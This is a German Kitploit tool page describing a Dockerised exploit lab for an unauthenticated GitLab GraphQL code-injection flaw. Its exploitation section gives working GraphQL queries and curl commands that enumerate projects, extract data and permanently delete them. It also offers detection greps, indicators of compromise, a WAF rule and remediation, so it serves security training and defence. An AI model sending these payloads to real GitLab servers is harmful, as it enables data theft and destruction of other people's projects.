Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Gitlab-CVE-2026-19478 — Dockerisiertes Exploit-Labor und Skript für CVE-2026-19478, eine kritische, nicht authentifizierte GitLab-GraphQL-Code-Injection, die beliebige Ruby-Methodenaufrufe, Projektlöschung und Datencxfiltration ermöglicht. | Kitploit
Tools/GitHubGitHub/punitdarji/gitlab-cve-2026-19478
SchwachstellenanalyseExploitationWebanwendungs-ExploitationAPI-SicherheitstestsPenetrationstestsLernen & BildungLabs & Praxis
GitHubpunitdarji/gitlab-cve-2026-19478

Gitlab-CVE-2026-19478

Dockerisiertes Exploit-Labor und Skript für CVE-2026-19478, eine kritische, nicht authentifizierte GitLab-GraphQL-Code-Injection, die beliebige Ruby-Methodenaufrufe, Projektlöschung und Datencxfiltration ermöglicht.

Repository anzeigen
vor 2 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-19478 — GitLab-GraphQL-Injection über die @gl_introduced-Direktive

Remote-Code-Injection ohne Authentifizierung über die GraphQL-Direktive in GitLab CE/EE — Löschen Sie jedes öffentliche Projekt mit einer einzigen HTTP-Anfrage

Ein praxisorientiertes Penetration-Testing-Labor, das CVE-2026-19478 reproduziert — eine kritische (CVSS 9.4) Schwachstelle in der GraphQL-API von GitLab. Die @gl_introduced-Direktive ermöglicht es nicht authentifizierten Angreifern, beliebige Ruby-Methoden auf serverseitigen Objekten auszuführen — einschließlich Projektlöschung, Datenextraktion und Besitzübertragung — ganz ohne Authentifizierung.

Dieses Labor betreibt eine echte, verwundbare GitLab-CE-19.2.0-Instanz in Docker für realistisches Exploit-Training.

Inhaltsverzeichnis

  • Zusammenfassung der Schwachstelle
  • So funktioniert der Exploit
  • Angriffsablauf-Diagramm
  • Lab-Einrichtung
  • Exploitationsanleitung
  • Verwendung des Exploit-Skripts
  • Erkennung und Indikatoren einer Kompromittierung
  • Behebung
  • Referenzen
  • Haftungsausschluss
  • Kontakt

Zusammenfassung der Schwachstelle

Tool herunterladen
FeldWert
CVE-IDCVE-2026-19478
CVSS-Score9.4 (Kritisch)
ProduktGitLab Community Edition (CE) / Enterprise Edition (EE)
SchwachstellentypCode-Injection / Beliebige Methodenausführung (CWE-94)
AngriffsvektorNetzwerk (Remote)
AuthentifizierungKeine erforderlich
BenutzerinteraktionKeine
AngriffskomplexitätNiedrig
Betroffene Versionen18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3
Behobene Versionen18.11.11, 19.0.8, 19.1.6, 19.2.4
Entdeckt vonhiimguardian (via HackerOne)
Patch-Datum17. August 2026

Auswirkungen

Ein nicht authentifizierter Remote-Angreifer kann:

  • Löschen jedes öffentlichen Projekts dauerhaft
  • Extrahieren interner Daten, Admin-Tokens und Geheimnisse
  • Ändern von Sichtbarkeit, Besitz und Einstellungen des Projekts
  • Ausführen beliebiger Ruby-Methoden auf dem serverseitigen Project-Modell
  • Archivieren oder Übertragen von Projekten ohne Autorisierung

So funktioniert der Exploit

Die @gl_introduced-Direktive

GitLab verwendet eine benutzerdefinierte GraphQL-Direktive @gl_introduced(version: "X.Y"), um rollierende Bereitstellungen (Rolling Deployments) zu unterstützen. Wenn eine neuere GitLab-Version ein Feld zur GraphQL-API hinzufügt, verarbeiten ältere Instanzen Abfragen, die auf diese neuen Felder verweisen, elegant, indem sie null zurückgeben, anstatt einen Fehler zu werfen.

Der verwundbare Codepfad

Datei: lib/gitlab/graphql/version_filter/future_field_fallback.rb (Zeilen 14-36)

Schritt-für-Schritt-Aufschlüsselung:

  1. FutureFieldFilter scannt eingehende GraphQL-Abfragen. Wenn ein Feld @gl_introduced(version) mit einer neueren Version als die des aktuellen Servers aufweist, entfernt er das Feld und setzt context[:contain_future_fields] = true.

  2. IntroducedTracer stellt das ursprüngliche Abfragedokument zur Ausführungszeit wieder her und fügt die entfernten Felder wieder in den AST ein.

  3. FutureFieldFallback#get_field fängt jede Feldabfrage während der Ausführung ab. Es prüft drei Bedingungen:

    • Ist das Flag contain_future_fields gesetzt? ✅
    • Fehlt das Feld im Schema? ✅
    • Beginnt der Name NICHT mit __? ✅
    • Ist der Feldname sicher? ❌ Es gibt keine Prüfung!
  4. Wenn alle drei Prüfungen bestanden sind, erzeugt es ein neues GraphQL::Schema::Field ohne Resolver-Klasse.

  5. In graphql-ruby wird ein Feld ohne Resolver aufgelöst, indem object.public_send(field_name) auf dem zugrunde liegenden Ruby-Objekt aufgerufen wird — wodurch der Feldname des Angreifers in einen beliebigen Methodenaufruf auf dem Project-ActiveRecord-Modell umgewandelt wird.

Die Korrektur (19.2.4+)

GitLabs Patch ersetzt die implizite Methodendispatch durch einen expliziten NilResolver, der bedingungslos nil zurückgibt. Dadurch bleibt die Kompatibilität mit Rolling Deployments erhalten, während die beliebige Methodenausführung eliminiert wird:

root@kitploit:~
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL

# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
  resolver_class: NilResolver)  # ← always returns nil

Angriffsablauf-Diagramm

root@kitploit:~
                    ATTACKER (unauthenticated)
                              │
                              │  POST /api/graphql
                              │  { project(fullPath: "victim/repo") {
                              │      name
                              │      destroy @gl_introduced(version: "99.0")
                              │  }}
                              │
                              ▼
               ┌──────────────────────────────┐
               │     GitLab GraphQL API        │
               │     (no auth required)        │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   1. FutureFieldFilter        │
               │   "destroy" has @gl_introduced│
               │   version 99.0 > 19.2.0      │
               │   → Strip field              │
               │   → Set contain_future_fields │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   2. IntroducedTracer         │
               │   → Restore original query   │
               │   "destroy" is back in AST   │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   3. FutureFieldFallback      │
               │   "destroy" not in schema? ✓  │
               │   Flag set? ✓                 │
               │   Not __introspection? ✓      │
               │   → Synthesize field          │
               │   → NO RESOLVER attached      │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   4. graphql-ruby resolution  │
               │   No resolver found →         │
               │   object.public_send(:destroy)│
               │                               │
               │   Project.find("victim/repo") │
               │          .destroy()           │
               │                               │
               │   ██ PROJECT DELETED ██        │
               └──────────────────────────────┘

Lab-Einrichtung

Voraussetzungen

  • Docker und Docker Compose installiert
  • Mindestens 4 GB RAM für Docker verfügbar (GitLab ist ressourcenintensiv)
  • Python 3 (für das Exploit-Skript)
  • Webbrowser oder curl / httpie zum Testen der API

Schnellstart — Echte GitLab-CE-19.2.0 (verwundbar)

root@kitploit:~
# Clone or navigate to the lab directory
cd CVE-2026-19478

# Pull and start the vulnerable GitLab instance
docker compose up -d

# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable

# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh

Zugangspunkte

DienstURLZugangsdaten
GitLab-Weboberflächehttp://localhostroot / P@ssw0rd123!
GraphQL-APIhttp://localhost/api/graphqlKeine erforderlich
GraphQL-Explorerhttp://localhost/-/graphql-explorerAnmeldung erforderlich
SSHlocalhost:2222—

Leichte Alternative (Simulation)

Für Maschinen mit begrenzten Ressourcen oder für einen schnelleren Start:

root@kitploit:~
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000

Stoppen / Vollständiger Reset

root@kitploit:~
# Stop the lab
docker compose down

# Full reset (removes all data volumes)
docker compose down -v

Exploitationsanleitung

Level 1 — Aufklärung (ohne Authentifizierung)

Serverversion prüfen:

root@kitploit:~
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}

Öffentliche Projekte per GraphQL aufzählen (ohne Authentifizierung):

root@kitploit:~
{
  projects(membership: false) {
    nodes {
      id
      name
      fullPath
      visibility
    }
  }
}

Die @gl_introduced-Direktive per Schema-Introspection entdecken:

root@kitploit:~
{
  __schema {
    directives {
      name
      description
      args { name type { name } }
      locations
    }
  }
}

Level 2 — Die Schwachstelle auslösen

Verwenden Sie @gl_introduced mit einer zukünftigen Version auf einem Feld, das nicht im Schema existiert:

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    class @gl_introduced(version: "99.0")
  }
}

Wenn die Instanz verwundbar ist, gibt class den Ruby-Klassennamen ("Project") zurück, was die beliebige Methodendispatch bestätigt.

Level 3 — Datenextraktion

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    object_id @gl_introduced(version: "99.0")
    to_s @gl_introduced(version: "99.0")
  }
}

Level 4 — Destruktive Ausnutzung

WARNUNG: Die folgende Aktion löscht das Projekt dauerhaft.

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    destroy @gl_introduced(version: "99.0")
  }
}

Weitere ausnutzbare Methoden am Project-Modell von GitLab:

MethodeAuswirkung
destroyLöscht das Projekt dauerhaft
archiveArchiviert das Projekt
transferÜberträgt die Projektinhaberschaft
attributesGibt alle Datenbankattribute aus
repositoryGreift auf das Repository-Objekt zu
membersListet Projektmitglieder auf

curl-Beispiele

root@kitploit:~
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq

# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq

# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq

Erkennung und Indikatoren einer Kompromittierung

Log-Analyse

root@kitploit:~
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log

# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
  awk -F. '$1 > 20 {print}'

Indikatoren einer Kompromittierung (IOC)

IndikatorBeschreibung
@gl_introduced(version: "99.0")Ausnutzungsversuch mit unrealistisch hoher Version
Feldnamen: destroy, delete, update, transferZielen auf destruktive ActiveRecord-Methoden ab
Unerwartete ProjektlöschungenProjekte, die ohne Admin-Aktion verschwinden
SichtbarkeitsänderungenÖffentliche Projekte werden plötzlich privat
BesitzübertragungenProjekte werden an unbekannte Benutzer übertragen

WAF-Regeln

Blockieren Sie GraphQL-Anfragen, die @gl_introduced mit hohen Versionsnummern enthalten:

root@kitploit:~
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
    return 403;
}

Behebung

  1. Sofort patchen — Aktualisieren Sie auf GitLab 18.11.11+, 19.0.8+, 19.1.6+ oder 19.2.4+
  2. WAF-Abschwächung — Blockieren Sie GraphQL-Anfragen, die @gl_introduced mit hohen Versionszeichenfolgen enthalten, auf der Ebene von Reverse-Proxy/WAF
  3. Audit-Logs — Überprüfen Sie die Projektaktivitätsprotokolle auf unbefugte Änderungen, Löschungen oder Sichtbarkeitsänderungen
  4. Zugriffsprotokolle — Durchsuchen Sie die Webserver-Logs nach Ausnutzungsmustern (siehe Abschnitt „Erkennung“ oben)
  5. Incident Response — Wenn die Ausnutzung bestätigt ist, prüfen Sie auf Datenextraktion und stellen Sie gelöschte Projekte aus Backups wieder her


PoC-Credits

CVE-2026-19478

Referenzen

  • GitLab-Sicherheitshinweis — 17. August 2026
  • OWASP A03:2021 — Injection
  • CWE-94: Unzureichende Kontrolle der Codegenerierung (Code Injection)
  • OX Security: Analyse der GitLab-GraphQL-CVEs
  • Help Net Security: Kritischer GitLab-Fehler
  • CyCognito: Sicherheitswarnung zu neuer Bedrohung
  • The Hacker News: Kritischer GitLab-GraphQL-Fehler

Haftungsausschluss

Dieses Labor wurde ausschließlich für autorisierte Sicherheitsschulungen und Penetration-Testing-Trainings erstellt. Es darf nur in kontrollierten, isolierten Umgebungen verwendet werden, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen besitzen.

Verwenden Sie die Techniken, Werkzeuge oder den Exploit-Code aus diesem Labor nicht gegen ein System ohne entsprechende Autorisierung. Unbefugter Zugriff auf Computersysteme ist nach dem Computer Fraud and Abuse Act (CFAA) und entsprechenden Gesetzen weltweit illegal.

Die Autoren und Mitwirkenden sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Labor oder dessen Inhalte verursacht werden.


Kontakt

Auf Instagram folgen   Auf LinkedIn vernetzen

Folgen Sie @pwnsystem auf Instagram für tägliche Cybersicherheitstipps, CVE-Analysen und Exploit-Walkthroughs.
Vernetzen Sie sich mit Punit Darji auf LinkedIn für professionelle Sicherheitseinblicke und Lab-Updates.